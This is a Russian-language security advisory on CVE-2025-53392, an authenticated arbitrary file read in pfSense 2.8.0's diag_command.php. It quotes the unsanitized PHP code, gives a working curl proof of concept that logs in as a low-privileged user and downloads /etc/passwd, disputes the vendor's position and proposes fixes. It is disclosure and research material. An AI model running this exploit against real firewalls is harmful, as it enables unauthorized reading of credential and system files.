
Авторизованное произвольное чтение файлов в pfSense 2.8.0 через Diagnostics Web Interface (CVE-2025-53392)
CVE-2025-53392CWE-36 (Переход по абсолютному пути)CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NТолько для авторизованного тестирования и исследований. Не тестируйте и не эксплуатируйте эту уязвимость на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
pfSense CE 2.8.0 содержит уязвимость раскрытия локальных файлов на странице диагностики diag_command.php, которая позволяет аутентифицированным пользователям загружать произвольные файлы из основной файловой системы.
В этой функции отсутствует санитизация путей, ограничение по каталогам или контроль доступа, помимо выдачи разрешений.
Уязвимый код находится в файле src/usr/local/www/diag_command.php:
if ($_POST['submit'] == "DOWNLOAD" && file_exists($_POST['dlPath'])) {
session_cache_limiter('public');
send_user_download('file', $_POST['dlPath']);
}
К неконтролируемому пользователем параметру dlPath не применяются никакие проверки безопасности или меры санитизации.
Любой путь к файлу, который доступен для чтения процессу PHP, будет возвращён пользователю.
Создайте группу low-priv и назначьте единственное привилегию (WebCfg - Diagnostics: Command)

Я признаю наличие предупреждения безопасности для привилегии
WebCfg - Diagnostics: Command, но одни лишь предупреждения не заменяют надёжный контроль доступа.Фраза «Дать доступ к странице команд диагностики» неоднозначна и преуменьшает риск: она предоставляет неограниченное выполнение команд на уровне root, а не просто диагностический доступ.
Метки привилегий в веб-интерфейсе должны точно отражать объём и серьёзность разрешаемых действий, особенно когда они открывают полный административный контроль.
Назначьте группу low-priv пользователю dev

Этот пример демонстрирует, что пользователь с единственным разрешением WebCfg - Diagnostics: Command может извлечь /etc/passwd, злоупотребляя несанитизированным параметром dlPath.
# 1. Starting session and extract CSRF token
curl -k -c cookies.txt -s https://<IP>/diag_command.php > login_page.html
csrf_token=$(grep '__csrf_magic' login_page.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')
# 2. Authenticate as low-privileged user "dev"
curl -k -b cookies.txt -c cookies.txt \
-d "__csrf_magic=$csrf_token" \
-d "usernamefld=dev" \
-d "passwordfld=pass" \
-d "login=Sign+In" \
https://<IP>/index.php > /dev/null
# 3. Get CSRF token post-login
curl -k -b cookies.txt -s https://<IP>/diag_command.php > diag_authed.html
csrf_token=$(grep '__csrf_magic' diag_authed.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')
# 4. Exfiltrate arbitrary file (example: /etc/passwd)
curl -k -b cookies.txt -s -X POST https://<IP>/diag_command.php \
-d "__csrf_magic=$csrf_token" \
-d "submit=DOWNLOAD" \
-d "dlPath=/etc/passwd"

Любой пользователь pfSense, которому назначена привилегия WebCfg - Diagnostics: Command, может:
Это нарушает принцип наименьших привилегий и разрушает логические границы привилегий.
dlPath безопасной базовой директорией (например, /tmp) с помощью realpath() и проверки префикса.. или абсолютными путямиCVE-2025-53392 с пометкой «vendor disputed»Хотя вендор утверждает, что доступ к этой странице равнозначен root, это смешивает права доступа на уровне веб-интерфейса с неограниченным доступом к бэкенду.
Привилегии должны технически обеспечиваться (а не предполагаться), а предупреждения в интерфейсе не заменяют безопасную архитектуру.
Оспаривая утверждение вендора о том, что эта функциональность «хорошо документирована»: я не нашёл ни одного упоминания в документации pfSense по привилегиям пользователей, которое указывало бы, что разрешение WebCfg - Diagnostics: Command равнозначно доступу уровня root.

Вероятно, вендор имел в виду страницу команд диагностики, содержащую общее предупреждение о неправильном использовании.
Однако документация явно не связывает эту функциональность с привилегией WebCfg - Diagnostics: Command и не разъясняет, что она предоставляет доступ уровня root.
Модуль диагностики в веб-интерфейсе брандмауэра должен содержать надлежащие меры защиты, предотвращающие злоупотребление базовой операционной системой.
Эта работа выполнена вне моей основной занятости и отражает мои личные усилия в области исследований кибербезопасности.